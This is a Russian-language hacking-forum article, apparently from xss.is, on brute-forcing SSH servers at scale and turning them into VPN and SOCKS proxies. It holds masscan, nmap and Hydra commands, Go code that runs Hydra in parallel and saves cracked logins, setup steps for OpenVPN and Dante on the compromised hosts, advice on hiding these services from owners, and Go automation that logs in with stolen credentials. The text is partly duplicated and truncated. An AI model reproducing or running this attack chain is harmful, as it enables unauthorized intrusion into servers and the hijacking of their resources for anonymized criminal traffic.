D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: miserylord
Эксклюзивно для форума: xss.is
Добро пожаловать, искатели цифровых чудес! На связи miserylord!
В этой статье вы узнаете, как найти и организовать брутфорс-атаку на SSH, а затем развернуть собственный VPN или прокси-сервер. Мы также рассмотрим процесс автоматизации с использованием языка программирования Golang.
Спойлер: Теоретическая основа
Прежде чем переходить к практической реализации атаки, разберемся с теоретическим введением.
Существует несколько типов прокси: мобильные, дата-центровые и так называемые резидентские прокси. Первые используются на сим-картах и мобильных телефонах, вторые - это арендованные сервера в дата-центрах, перепроданные клиентам, а резидентские прокси - это прокси, поднятые на домашних адресах. В статье мы рассматриваем атаку на SSH, в результате которой мы получим серверные прокси (их будет определять большинство систем на основе того, какому ISP принадлежит адрес; если адрес принадлежит, например, Microsoft, это может указывать на анонимизацию). Атаку, которую я опишу, также можно использовать для получения резидентских прокси, только вместо брутфорса SSH атаковать роутеры по тому же принципу.
Прокси также делятся на HTTP, SOCKS4 и SOCKS5. HTTP-прокси поддерживает только HTTP-протокол. SOCKS-прокси работают на уровне транспортного протокола и могут пересылать любой тип данных. SOCKS4 не поддерживает UDP-трафик и не поддерживает авторизацию. SOCKS5 - это улучшенная версия SOCKS4 с дополнительными функциями: поддерживает как TCP, так и UDP-трафик, поддерживает аутентификацию и может работать с IPv6.
Также вы могли слышать о разделении на форвард и реверс-прокси. Разница между ними заключается в следующем: форвард-прокси работает по модели "Клиент → Прокси → Сервер (Интернет)", и речь идет именно о них. Реверс-прокси работает по модели "Клиент → Прокси → Сервер (внутренние серверы компании)". Например, Cloudflare представляет собой реверс-прокси.
TCP (Transmission Control Protocol) и UDP (User Datagram Protocol) - это два основных транспортных протокола в интернете. Оба они работают поверх IP и используются для передачи данных, но их поведение и применение различаются.
TCP - это надежный протокол. Он обеспечивает проверку целостности данных и контроль их последовательности. Если данные теряются или повреждаются в процессе передачи, TCP автоматически запросит повторную отправку. Этот протокол также контролирует порядок пакетов, гарантируя, что они будут получены в правильной последовательности.
UDP - это ненадежный протокол. Он не обеспечивает проверку целостности или повторную передачу данных. Пакеты могут теряться, приходить в неправильной последовательности, и протокол не пытается это исправить.
TCP медленнее, так как нужно устанавливать соединение, подтверждать доставку пакетов, обеспечивать контроль потока и исправление ошибок. UDP быстрее, потому что не требует подтверждения получения пакетов и повторных попыток передачи.
VPN и прокси-серверы могут работать как с TCP, так и с UDP. TCP используется, если важна надежность и гарантированная доставка данных, для использования в веб-браузере с HTTPS, в VPN для надежного и стабильного соединения. UDP используется, если важна скорость и допустимы потери пакетов, в VPN для лучшей производительности и минимальных задержек, в прокси для приложений, не чувствительных к потере данных. Если у вас стабильное соединение и нет потерь пакетов, оба протокола будут работать отлично.
Существует также подход, называемый TCP over UDP, который сочетает свойства обоих протоколов, обеспечивая надежность TCP при использовании преимуществ скорости UDP.
Более подробно о TCP/UDP
VPN (Virtual Private Network) - это технология, которая создает защищенное и зашифрованное соединение через менее защищенную сеть, такую как интернет. Когда вы подключаетесь к VPN, ваш интернет-трафик шифруется с использованием различных алгоритмов шифрования (например, AES-256). VPN создает «туннель» между устройством и VPN-сервером. Этот туннель защищает данные от перехвата и изменений. Туннелирование может использовать разные протоколы, такие как PPTP, L2TP/IPsec, OpenVPN или WireGuard.
OpenVPN - это один из наиболее популярных и гибких протоколов VPN, который я буду использовать в статье. Другой протокол, заслуживающий внимания, это WireGuard.
SSH (Secure Shell) - это протокол для безопасного управления удаленными системами через незащищенные сети. SSH обеспечивает зашифрованный канал для командной строки и передачи данных между клиентом и сервером.
В результате брутфорса SSH мы попадаем на VPS/VDS. VPS (Virtual Private Server) - это виртуальный сервер, который действует как полноценный выделенный сервер, но работает на физическом сервере, который разделен на несколько виртуальных машин. VDS (Virtual Dedicated Server) - это аналог VPS, но с некоторыми отличиями. VDS предоставляет полный контроль над сервером, включая возможность настройки операционной системы, установки программного обеспечения и управления сетевыми настройками.
Администратор VPS-сервера видит, что на сервере работают прокси или VPN, может наблюдать общие параметры работы этих сервисов, такие как использование ресурсов, порты, IP-адреса и общий объем сетевого трафика. Они имеют доступ к конфигурационным файлам и логам, которые могут содержать информацию о работе прокси или VPN, но не видят содержимое зашифрованного трафика, передаваемого через эти сервисы.
Впрочем, часть доступа могут выступать как ханиподы, и теоретически трафик можно перехватить, используя утилиты для мониторинга трафика, такие как tcpdump или Wireshark, чтобы захватывать и анализировать пакеты данных, проходящие через VPS, или использовать другие методы. Если это не ханипод, администратор может вообще не заметить, что что-то не так (как минимум до какого-то времени).
Провайдер VPS видит, что на сервере запущены прокси и VPN-сервисы. Провайдер может наблюдать сетевой трафик, исходящий от VPS, включая порты и IP-адреса, используемые прокси и VPN, но не видит конкретное содержание передаваемых данных, если трафик зашифрован. Провайдер видит, что к VPS устанавливаются SSH-соединения. Они могут видеть IP-адреса, с которых установлены эти соединения, и временные метки, но не видят содержимое сеансов или команд, выполняемых через SSH.
Внешний наблюдатель (например, интернет-провайдер) видит только зашифрованный трафик, направляемый к VPS и обратно. Они не могут видеть, что именно передается через прокси или VPN, так как данные шифруются. Они могут заметить, что используется VPN или прокси, основываясь на IP-адресах.
Переходим к практической реализации атаки.
Спойлер: Ломаем SSH
Брутфорс-атака — это метод подбора паролей путем систематического перебора всех возможных комбинаций. Несмотря на развитие методов защиты, брутфорс-атаки остаются актуальными из-за слабых паролей, устаревших механизмов защиты и использования стандартных паролей по умолчанию. Пользователи по-прежнему часто используют простые пароли вроде "123456".
Особенность брутфорс-атаки на SSH заключается в том, что вместо паролей можно использовать пары открытых и закрытых ключей для аутентификации. В таком случае получить доступ с помощью учетных данных будет невозможно.
Словари для брутфорс-атаки формируются на основе ранее утеченных данных. Обнаружить их можно на GitHub. Например, вот небольшой словарь из топ-20 паролей SSH: SecLists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt GitHub.
В рамках готовых решений одной из самых популярных утилит для брутфорса является Hydra, но любой брутфорс можно написать самостоятельно.
Я подробно описывал IP-адреса (получение списка по странам), порты и утилиту masscan в статье, посвященной брутфорсу СУБД. Если вам непонятны какие-то моменты, рекомендую сначала ознакомиться с ней.
Итак, первым делом найдем открытые порты. Стандартный порт для SSH — 22. Запускаем команду: masscan -p22 41.223.80.0/22 --rate 1000 -oG output.txt и получаем открытые порты с SSH. Для форматирования результата в удобный формат используем команду: grep -oP '\b\d{1,3}(.\d{1,3}){3}\b' output.txt > ip_only.txt
На серверах могут быть запущены разные операционные системы, и при дальнейшей автоматизации важно учитывать этот момент. Есть несколько решений этой проблемы.
Использовать nmap. Команда: nmap -O -p 22 -iL ip_only.txt -oN result.txt
Также можно заменить флаг -A на -O, в таком случае nmap попытается собрать как можно больше информации. Тут можно пойти дальше и попытаться отсеять как минимум сервисы, которые не являются SSH, но запущены на 22 порту. Касательно операционной системы, nmap часто не сможет это сделать и лишь попытается угадать, нужно учитывать этот момент, если решили отфильтровать сервисы с помощью nmap.
Также для поиска открытых 22 портов можно использовать сервисы типа Shodan, которые предоставляют эту информацию.
Второй вариант — просто проверять все IP-адреса и уже на полученных доступах проверять, на какой системе мы оказались, и действовать с учетом этого. Я буду писать дальнейший код так, словно мы оказались на Ubuntu.
Устанавливаем Hydra командой: sudo apt install hydra -y
Возьмем словарь из этого репозитория: https://github.com/danielmiessler/SecLists
Вводим команду: hydra -L users.txt -P passwords.txt ssh://127.0.0.1 -s 22 -vV
Hydra не может брать адреса из файла, поэтому придется написать скрипт на Golang для автоматизации этого процесса, в который мы также добавим горутины для параллельной проверки сразу нескольких адресов.
C-подобный: Скопировать в буфер обмена
Вывод Hydra будет содержать огромное количество информации, и нам нужно получить только успешные результаты, сохранив их в файл:
C-подобный: Скопировать в буфер обмена
Функция main будет содержать следующий код:
C-подобный: Скопировать в буфер обмена
Первым делом проверяем, где мы оказались, используя команду uname -a, а также проверяем, кто мы в системе, командой whoami. Скачиваем OpenVPN командой: wget https://git.io/vpn -O openvpn-install.sh Изменяем права доступа к файлу openvpn-install.sh, делая его исполняемым: chmod +x openvpn-install.sh Запускаем файл: bash openvpn-install.sh Во время выбора протоколов, порта и имени устройства можно оставить все по умолчанию, нажимая Enter. Чтобы убедиться, что процесс запущен, используем команду: lsof -i :1194 Для поиска файлов .ovpn используем: find / -type f -name "*.ovpn" Далее копируем файл на свой компьютер командой: scp /root/client.ovpn . и подключаемся с помощью клиента OpenVPN, импортируя профиль.
Для поднятия прокси воспользуемся фреймворком Dante. Установим программу: apt install dante-server Создадим пользователя и зададим пароль командой: useradd proxyuser && echo "proxyuser
roxyuser" | chpasswd Этот пользователь будет использоваться для работы с прокси-сервером. Меняем конфигурационный файл с помощью: nano /etc/danted.conf Далее перезагружаем сервер: systemctl restart danted После этого можно использовать прокси.
Конфигурационный файл будет выглядеть следующим образом:
Код: Скопировать в буфер обмена
Для сокрытия запущенных служб можно также скрыть процесс и запускать службы на нестандартных портах.
Переходим к автоматизации процесса.
Спойлер: Автоматизация процесса
Инициализируем проект и приступаем к его реализации.
Функция main.go будет выглядеть следующим образом:
C-подобный: Скопировать в буфер обмена
В папке files в файле ac.txt будут находиться доступы, туда же будут сохраняться полученные файлы ovpn. Формат доступов — 127.0.0.1:22 root root.
Пакет fileutils будет содержать следующий код для работы с файлом:
C-подобный: Скопировать в буфер обмена
В пакете sshclient будет код подключения к SSH-серверу, вызова команды и вызова функций с конкретными командами, которые будут вынесены в другой пакет:
C-подобный: Скопировать в буфер обмена
Переходим к имплементации функций пакета scmd. По большей части их код будет достаточно похож.
Сначала реализуем функцию CheckIfUbuntu:
C-подобный: Скопировать в буфер обмена
Функция CheckIfUserRoot аналогична предыдущей, за исключением того, что она вызывает команду whoami для отображения имени текущего пользователя. В целом, если мы зашли под root, то вывод будет root, и её можно переписать на проверку привилегий пользователя.
C-подобный: Скопировать в буфер обмена
Далее реализуем функцию WgetOpenVPN для скачивания скрипта.
C-подобный: Скопировать в буфер обмена
Используем chmod +x для изменения прав доступа к файлу, добавляя разрешение на выполнение, в функции ChmodOpenVPN.
C-подобный: Скопировать в буфер обмена
Поскольку скрипт установки требует активных действий со стороны пользователя, необходимо решить эту проблему. Если требуется более глубокая кастомизация, можно переписать скрипт или написать полноценный bash-скрипт поверх. Однако для выбора по умолчанию можно воспользоваться командой yes '' | bash openvpn-install.sh. Эта команда выводит пустую строку бесконечно, то есть непрерывно посылает пустые строки на стандартный ввод. | — это оператор конвейера, который передает вывод команды слева на ввод команды справа. bash openvpn-install.sh — запускает скрипт с помощью оболочки Bash. Пустые строки могут быть использованы для автоматического ответа на запросы скрипта и будут интерпретированы как действия по умолчанию.
C-подобный: Скопировать в буфер обмена
После установки проверим, запущен ли процесс OpenVPN. Команда lsof -i :1194 выводит список всех процессов, которые используют порт 1194, применяемый по умолчанию для OpenVPN.
C-подобный: Скопировать в буфер обмена
И наконец, скачаем файл .ovpn.
C-подобный: Скопировать в буфер обмена
Код для работы с OpenVPN завершён. Давайте перейдём к коду создания прокси. В большинстве своём он будет очень похож на этот, поэтому сосредоточимся исключительно на различиях.
Пакеты sshclient, fileutils и код в main.go остаются без изменений.
В первую очередь устанавливаем dante-server с помощью команды apt install dante-server. После установки проверяем успешность, выполняя поиск пакета dante-server среди установленных пакетов в системе, используя пакетный менеджер dpkg.
C-подобный: Скопировать в буфер обмена
Команда useradd proxyuser && echo "proxyuser
roxyuser" | chpasswd добавляет нового пользователя в систему. &&: Оператор логического "И" выполняет следующую команду только в случае успешного выполнения предыдущей команды. Если создание пользователя прошло успешно, будет выполнена следующая команда. pipe: Передает вывод команды echo на вход команды chpasswd. chpasswd: Обрабатывает стандартный ввод и обновляет пароли пользователей. Таким образом, команда сначала создаёт пользователя proxyuser, а затем устанавливает пароль proxyuser для этого пользователя.
C-подобный: Скопировать в буфер обмена
Создадим файл config.txt в папке files с конфигурацией для Dante. Реализуем функцию UpdateDantedConfig.
C-подобный: Скопировать в буфер обмена
Получим данные из файла в переменную configData. Можно воспользоваться scp или просто перезаписать информацию в файле. Данные, содержащиеся в переменной configData, конвертируются в строку. Команда echo выводит строку, заключённую в кавычки, и с помощью оператора перенаправления записывает её в файл /etc/danted.conf, перезаписывая его содержимое.
После этого перезапускаем службу командой systemctl restart danted.
C-подобный: Скопировать в буфер обмена
И, наконец, реализуем функцию записи успешно созданных прокси в текстовый файл в пакете fileutils, которая будет вызываться в main после ConnectAndRunCommand в рамках цикла.
C-подобный: Скопировать в буфер обмена
Итого процесс поднятия VPN-сервера и прокси-сервера успешно автоматизирован. Исходный код прикреплён к этому сообщению. Трям! Пока!
Эксклюзивно для форума: xss.is
Добро пожаловать, искатели цифровых чудес! На связи miserylord!
В этой статье вы узнаете, как найти и организовать брутфорс-атаку на SSH, а затем развернуть собственный VPN или прокси-сервер. Мы также рассмотрим процесс автоматизации с использованием языка программирования Golang.
Разделы
- Теоретическая основа - разбираемся с типами и отличиями VPN и прокси
- Ломаем SSH - реализуем брутфорс-атаку на SSH-серверы
- Автоматизируем процесс - подключаем Golang для автоматизации процесса
Спойлер: Теоретическая основа
Прокси
Прежде чем переходить к практической реализации атаки, разберемся с теоретическим введением.
Существует несколько типов прокси: мобильные, дата-центровые и так называемые резидентские прокси. Первые используются на сим-картах и мобильных телефонах, вторые - это арендованные сервера в дата-центрах, перепроданные клиентам, а резидентские прокси - это прокси, поднятые на домашних адресах. В статье мы рассматриваем атаку на SSH, в результате которой мы получим серверные прокси (их будет определять большинство систем на основе того, какому ISP принадлежит адрес; если адрес принадлежит, например, Microsoft, это может указывать на анонимизацию). Атаку, которую я опишу, также можно использовать для получения резидентских прокси, только вместо брутфорса SSH атаковать роутеры по тому же принципу.
Прокси также делятся на HTTP, SOCKS4 и SOCKS5. HTTP-прокси поддерживает только HTTP-протокол. SOCKS-прокси работают на уровне транспортного протокола и могут пересылать любой тип данных. SOCKS4 не поддерживает UDP-трафик и не поддерживает авторизацию. SOCKS5 - это улучшенная версия SOCKS4 с дополнительными функциями: поддерживает как TCP, так и UDP-трафик, поддерживает аутентификацию и может работать с IPv6.
Также вы могли слышать о разделении на форвард и реверс-прокси. Разница между ними заключается в следующем: форвард-прокси работает по модели "Клиент → Прокси → Сервер (Интернет)", и речь идет именно о них. Реверс-прокси работает по модели "Клиент → Прокси → Сервер (внутренние серверы компании)". Например, Cloudflare представляет собой реверс-прокси.
TCP/UDP
TCP (Transmission Control Protocol) и UDP (User Datagram Protocol) - это два основных транспортных протокола в интернете. Оба они работают поверх IP и используются для передачи данных, но их поведение и применение различаются.
TCP - это надежный протокол. Он обеспечивает проверку целостности данных и контроль их последовательности. Если данные теряются или повреждаются в процессе передачи, TCP автоматически запросит повторную отправку. Этот протокол также контролирует порядок пакетов, гарантируя, что они будут получены в правильной последовательности.
UDP - это ненадежный протокол. Он не обеспечивает проверку целостности или повторную передачу данных. Пакеты могут теряться, приходить в неправильной последовательности, и протокол не пытается это исправить.
TCP медленнее, так как нужно устанавливать соединение, подтверждать доставку пакетов, обеспечивать контроль потока и исправление ошибок. UDP быстрее, потому что не требует подтверждения получения пакетов и повторных попыток передачи.
VPN и прокси-серверы могут работать как с TCP, так и с UDP. TCP используется, если важна надежность и гарантированная доставка данных, для использования в веб-браузере с HTTPS, в VPN для надежного и стабильного соединения. UDP используется, если важна скорость и допустимы потери пакетов, в VPN для лучшей производительности и минимальных задержек, в прокси для приложений, не чувствительных к потере данных. Если у вас стабильное соединение и нет потерь пакетов, оба протокола будут работать отлично.
Существует также подход, называемый TCP over UDP, который сочетает свойства обоих протоколов, обеспечивая надежность TCP при использовании преимуществ скорости UDP.
Более подробно о TCP/UDP
VPN
VPN (Virtual Private Network) - это технология, которая создает защищенное и зашифрованное соединение через менее защищенную сеть, такую как интернет. Когда вы подключаетесь к VPN, ваш интернет-трафик шифруется с использованием различных алгоритмов шифрования (например, AES-256). VPN создает «туннель» между устройством и VPN-сервером. Этот туннель защищает данные от перехвата и изменений. Туннелирование может использовать разные протоколы, такие как PPTP, L2TP/IPsec, OpenVPN или WireGuard.
OpenVPN - это один из наиболее популярных и гибких протоколов VPN, который я буду использовать в статье. Другой протокол, заслуживающий внимания, это WireGuard.
SSH
SSH (Secure Shell) - это протокол для безопасного управления удаленными системами через незащищенные сети. SSH обеспечивает зашифрованный канал для командной строки и передачи данных между клиентом и сервером.
VPS/VDP
В результате брутфорса SSH мы попадаем на VPS/VDS. VPS (Virtual Private Server) - это виртуальный сервер, который действует как полноценный выделенный сервер, но работает на физическом сервере, который разделен на несколько виртуальных машин. VDS (Virtual Dedicated Server) - это аналог VPS, но с некоторыми отличиями. VDS предоставляет полный контроль над сервером, включая возможность настройки операционной системы, установки программного обеспечения и управления сетевыми настройками.
Анонимность
Администратор VPS-сервера видит, что на сервере работают прокси или VPN, может наблюдать общие параметры работы этих сервисов, такие как использование ресурсов, порты, IP-адреса и общий объем сетевого трафика. Они имеют доступ к конфигурационным файлам и логам, которые могут содержать информацию о работе прокси или VPN, но не видят содержимое зашифрованного трафика, передаваемого через эти сервисы.
Впрочем, часть доступа могут выступать как ханиподы, и теоретически трафик можно перехватить, используя утилиты для мониторинга трафика, такие как tcpdump или Wireshark, чтобы захватывать и анализировать пакеты данных, проходящие через VPS, или использовать другие методы. Если это не ханипод, администратор может вообще не заметить, что что-то не так (как минимум до какого-то времени).
Провайдер VPS видит, что на сервере запущены прокси и VPN-сервисы. Провайдер может наблюдать сетевой трафик, исходящий от VPS, включая порты и IP-адреса, используемые прокси и VPN, но не видит конкретное содержание передаваемых данных, если трафик зашифрован. Провайдер видит, что к VPS устанавливаются SSH-соединения. Они могут видеть IP-адреса, с которых установлены эти соединения, и временные метки, но не видят содержимое сеансов или команд, выполняемых через SSH.
Внешний наблюдатель (например, интернет-провайдер) видит только зашифрованный трафик, направляемый к VPS и обратно. Они не могут видеть, что именно передается через прокси или VPN, так как данные шифруются. Они могут заметить, что используется VPN или прокси, основываясь на IP-адресах.
Переходим к практической реализации атаки.
Спойлер: Ломаем SSH
Брутфорс
Брутфорс-атака — это метод подбора паролей путем систематического перебора всех возможных комбинаций. Несмотря на развитие методов защиты, брутфорс-атаки остаются актуальными из-за слабых паролей, устаревших механизмов защиты и использования стандартных паролей по умолчанию. Пользователи по-прежнему часто используют простые пароли вроде "123456".
Особенность брутфорс-атаки на SSH заключается в том, что вместо паролей можно использовать пары открытых и закрытых ключей для аутентификации. В таком случае получить доступ с помощью учетных данных будет невозможно.
Словари для брутфорс-атаки формируются на основе ранее утеченных данных. Обнаружить их можно на GitHub. Например, вот небольшой словарь из топ-20 паролей SSH: SecLists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt GitHub.
В рамках готовых решений одной из самых популярных утилит для брутфорса является Hydra, но любой брутфорс можно написать самостоятельно.
Поиск портов
Я подробно описывал IP-адреса (получение списка по странам), порты и утилиту masscan в статье, посвященной брутфорсу СУБД. Если вам непонятны какие-то моменты, рекомендую сначала ознакомиться с ней.
Итак, первым делом найдем открытые порты. Стандартный порт для SSH — 22. Запускаем команду: masscan -p22 41.223.80.0/22 --rate 1000 -oG output.txt и получаем открытые порты с SSH. Для форматирования результата в удобный формат используем команду: grep -oP '\b\d{1,3}(.\d{1,3}){3}\b' output.txt > ip_only.txt
На серверах могут быть запущены разные операционные системы, и при дальнейшей автоматизации важно учитывать этот момент. Есть несколько решений этой проблемы.
Использовать nmap. Команда: nmap -O -p 22 -iL ip_only.txt -oN result.txt
- -O: Включает определение операционной системы.
- -p 22: Сканирует только порт 22 (SSH).
- -iL ip_only.txt: Указывает, что IP-адреса берутся из файла ip_only.txt.
- -oN result.txt: Сохраняет результаты сканирования в файл result.txt.
Также можно заменить флаг -A на -O, в таком случае nmap попытается собрать как можно больше информации. Тут можно пойти дальше и попытаться отсеять как минимум сервисы, которые не являются SSH, но запущены на 22 порту. Касательно операционной системы, nmap часто не сможет это сделать и лишь попытается угадать, нужно учитывать этот момент, если решили отфильтровать сервисы с помощью nmap.
Также для поиска открытых 22 портов можно использовать сервисы типа Shodan, которые предоставляют эту информацию.
Второй вариант — просто проверять все IP-адреса и уже на полученных доступах проверять, на какой системе мы оказались, и действовать с учетом этого. Я буду писать дальнейший код так, словно мы оказались на Ubuntu.
Hydra
Устанавливаем Hydra командой: sudo apt install hydra -y
Возьмем словарь из этого репозитория: https://github.com/danielmiessler/SecLists
Вводим команду: hydra -L users.txt -P passwords.txt ssh://127.0.0.1 -s 22 -vV
- -L users.txt: Файл со списком логинов.
- -P passwords.txt: Файл со списком паролей.
- ssh://127.0.0.1: Протокол и IP-адрес целевого сервера (замените 127.0.0.1 на IP-адрес).
- -s 22: Указываем порт для подключения.
- -vV: Включаем подробный вывод информации о каждом логине и пароле, которые тестируются.
Hydra не может брать адреса из файла, поэтому придется написать скрипт на Golang для автоматизации этого процесса, в который мы также добавим горутины для параллельной проверки сразу нескольких адресов.
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"bufio"
"fmt"
"os"
"os/exec"
"strings"
"sync"
)
var mutex sync.Mutex // 1
func runHydra(ip, usersFile, passwordsFile string, wg *sync.WaitGroup, sem chan struct{}) { // 2
defer wg.Done() // 3
sem <- struct{}{} // 4
fmt.Printf("Запуск брутфорса для %s...\n", ip)
cmd := exec.Command("hydra", "-L", usersFile, "-P", passwordsFile, "ssh://"+ip, "-s", "22", "-vV") // 5
// 6
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Ошибка при запуске Hydra для %s: %s\n", ip, err)
} else {
result := string(output)
fmt.Printf("Результат для %s:\n%s\n", ip, result)
saveSuccessfulResults(result, ip)
}
<-sem // 7
}
- Мьютексы используется для обеспечения потокобезопасного доступа к общим ресурсам. В данном коде он применяется при записи результатов в файл. Мьютекс гарантирует, что только одна горутина может работать с общим ресурсом в любой момент времени.
- Функция runHydra — это основная функция, которая запускает брутфорс через Hydra. Она принимает четыре аргумента: IP-адрес целевого устройства, файл со списком пользователей, файл со списком паролей, объект WaitGroup для синхронизации завершения всех горутин, и канал sem, который ограничивает количество одновременно работающих горутин.
- defer гарантирует, что после завершения работы горутины будет вызван метод Done для уменьшения счетчика WaitGroup. Это позволяет главному потоку дождаться завершения всех горутин.
- Запись в канал блокирует выполнение горутины до тех пор, пока в канале не освободится место. Это позволяет ограничить количество одновременных попыток подключения. Канал выступает в роли семафора.
- Логируем запуск. Создаем команду для выполнения с помощью exec.Command. В качестве аргументов передаем файл со списком пользователей, файл со списком паролей, целевой IP-адрес с указанием использования протокола SSH, порт SSH и опции для детализированного вывода команд Hydra.
- Обработка результата: cmd.CombinedOutput() выполняет команду и возвращает объединённый вывод как stdout, так и stderr. Если команда завершилась с ошибкой, выводится сообщение об ошибке. Если команда выполнена успешно, выводится результат, а функция saveSuccessfulResults сохраняет успешные результаты.
- Когда работа горутины завершена, происходит чтение из канала sem, что освобождает место для следующей горутины. Это позволяет запускать новые горутины по мере завершения предыдущих.
Вывод Hydra будет содержать огромное количество информации, и нам нужно получить только успешные результаты, сохранив их в файл:
C-подобный: Скопировать в буфер обмена
Код:
// 1
func saveSuccessfulResults(output, ip string) {
lines := strings.Split(output, "\n") // 2
var successfulAttempts []string // 3
// 4
for _, line := range lines {
if strings.Contains(line, "host:") && strings.Contains(line, "login:") && strings.Contains(line, "password:") {
successfulAttempts = append(successfulAttempts, line)
}
}
// 5
if len(successfulAttempts) > 0 {
// 6
mutex.Lock()
defer mutex.Unlock()
// 7
file, err := os.OpenFile("successful_results.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Ошибка при открытии файла для записи результатов: %s\n", err)
return
}
defer file.Close()
// 8
for _, attempt := range successfulAttempts {
_, err := file.WriteString(fmt.Sprintf("IP: %s - %s\n", ip, attempt))
if err != nil {
fmt.Printf("Ошибка при записи результата в файл: %s\n", err)
}
}
}
}
- Функция saveSuccessfulResults принимает два аргумента: строку с выводом от команды Hydra, содержащую весь текст, сгенерированный командой, и строку с IP-адресом, с которым в данный момент происходит работа.
- Разбиваем вывод команды Hydra на строки, разделяя их по символу новой строки (\n).
- Создаем пустой слайс successfulAttempts, в который будут записываться строки с успешными попытками авторизации.
- Проходим по каждой строке в lines. Если строка содержит ключевые слова host:, login:, и password:, она считается успешной попыткой брутфорса. Такая строка добавляется в слайс successfulAttempts.
- Если в слайсе successfulAttempts есть хотя бы одна успешная попытка, результаты сохраняются.
- Перед записью результатов в файл блокируем мьютекс. defer гарантирует, что мьютекс будет разблокирован после завершения работы функции, независимо от её исхода.
- Файл successful_results.txt открывается с флагами для добавления данных в конец, создания файла (если его нет) и открытия его только для записи. Если при открытии файла возникает ошибка, она выводится в консоль, и выполнение функции прекращается. defer закрывает файл после завершения работы с ним.
- Для каждой строки из successfulAttempts записывается форматированная строка с IP-адресом и успешной попыткой авторизации в файл.
Функция main будет содержать следующий код:
C-подобный: Скопировать в буфер обмена
Код:
func main() {
// 1
usersFile := "user.txt"
passwordsFile := "pass.txt"
ipFile := "ips.txt"
// 2
maxGoroutines := 5
// 3
file, err := os.Open(ipFile)
if err != nil {
fmt.Println("Ошибка при открытии файла с IP:", err)
return
}
defer file.Close()
// 4
sem := make(chan struct{}, maxGoroutines)
var wg sync.WaitGroup
// 5
scanner := bufio.NewScanner(file)
for scanner.Scan() {
ip := scanner.Text()
wg.Add(1)
go runHydra(ip, usersFile, passwordsFile, &wg, sem)
}
// 6
if err := scanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла с IP:", err)
}
// 7
wg.Wait()
}
- Указываем переменные с путями к файлам.
- Задаем максимальное количество одновременно работающих горутин.
- Открываем файл с IP-адресами. Если произошла ошибка при открытии файла, программа выводит сообщение об ошибке и завершает выполнение.
- Инициализируем семафор и WaitGroup. WaitGroup используется для отслеживания завершения всех горутин.
- Проходим по каждой строке файла (каждому IP-адресу) и запускаем горутину с вызовом функции runHydra. Для каждого IP запускается отдельная горутина.
- Проверяем, возникли ли ошибки при чтении файла. Если да, выводится сообщение об ошибке.
- wg.Wait() блокирует выполнение главной программы до завершения всех горутин.
Поднимаем VPN
Первым делом проверяем, где мы оказались, используя команду uname -a, а также проверяем, кто мы в системе, командой whoami. Скачиваем OpenVPN командой: wget https://git.io/vpn -O openvpn-install.sh Изменяем права доступа к файлу openvpn-install.sh, делая его исполняемым: chmod +x openvpn-install.sh Запускаем файл: bash openvpn-install.sh Во время выбора протоколов, порта и имени устройства можно оставить все по умолчанию, нажимая Enter. Чтобы убедиться, что процесс запущен, используем команду: lsof -i :1194 Для поиска файлов .ovpn используем: find / -type f -name "*.ovpn" Далее копируем файл на свой компьютер командой: scp /root/client.ovpn . и подключаемся с помощью клиента OpenVPN, импортируя профиль.
Поднимаем прокси
Для поднятия прокси воспользуемся фреймворком Dante. Установим программу: apt install dante-server Создадим пользователя и зададим пароль командой: useradd proxyuser && echo "proxyuser
Конфигурационный файл будет выглядеть следующим образом:
Код: Скопировать в буфер обмена
Код:
# 1
user.privileged: root
user.unprivileged: nobody
user.libwrap: nobody
# 2
internal: 0.0.0.0 port = 1080
# 3
external: eth0
# 4
method: username
# 5
client pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
}
# 6
pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
protocol: tcp udp
}
- Процесс будет работать с привилегиями пользователя root. После выполнения привилегированных операций процесс будет переключаться на менее привилегированного пользователя.
- Внутренний интерфейс (адрес и порт, на которых будет работать прокси).
- Внешний интерфейс (адрес для исходящих соединений).
- Метод аутентификации (только логин и пароль).
- Клиенты, которым разрешено подключение.
- Разрешение на проксирование трафика от любого IP-адреса к любому IP-адресу с протоколами UDP и TCP.
Для сокрытия запущенных служб можно также скрыть процесс и запускать службы на нестандартных портах.
Переходим к автоматизации процесса.
Спойлер: Автоматизация процесса
VPN
Инициализируем проект и приступаем к его реализации.
Функция main.go будет выглядеть следующим образом:
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"fmt"
"log"
"openvpn/fileutils"
"openvpn/sshclient"
)
func main() {
// 1
accessFile := "files/ac.txt"
// 2
accessList, err := fileutils.ReadAccessFromFile(accessFile)
if err != nil {
log.Fatalf("Failed to read access file: %v", err)
}
// 3
for _, access := range accessList {
host, user, password := access.Host, access.User, access.Password
fmt.Printf("Connecting to %s with user %s...\n", host, user)
// 4
err := sshclient.ConnectAndRunCommand(host, user, password)
if err != nil {
log.Printf("Error for %s: %v", host, err)
continue
}
}
}
- Первая строка кода объявляет переменную accessFile, которая содержит путь к файлу с информацией о доступах — "files/ac.txt".
- Далее вызывается функция, которая читает содержимое файла и возвращает список доступов.
- Цикл проходит по каждому элементу списка доступов. Извлекаются данные, содержащие информацию о сервере, имени пользователя и пароле. Для каждого сервера выводится сообщение о попытке подключения.
- Функция пытается установить SSH-соединение с сервером, используя указанные хост, имя пользователя и пароль, а затем выполнить на нём серию команд.
В папке files в файле ac.txt будут находиться доступы, туда же будут сохраняться полученные файлы ovpn. Формат доступов — 127.0.0.1:22 root root.
Пакет fileutils будет содержать следующий код для работы с файлом:
C-подобный: Скопировать в буфер обмена
Код:
package fileutils
import (
"bufio"
"fmt"
"os"
"strings"
)
// 1
type AccessData struct {
Host string
User string
Password string
}
// 2
func ReadAccessFromFile(filename string) ([]AccessData, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
// 3
var accessList []AccessData
scanner := bufio.NewScanner(file)
for scanner.Scan() {
parts := strings.Fields(scanner.Text())
if len(parts) != 3 {
return nil, fmt.Errorf("invalid format in access file: %s", scanner.Text())
}
accessList = append(accessList, AccessData{
Host: parts[0],
User: parts[1],
Password: parts[2],
})
}
// 4
if err := scanner.Err(); err != nil {
return nil, err
}
// 5
return accessList, nil
}
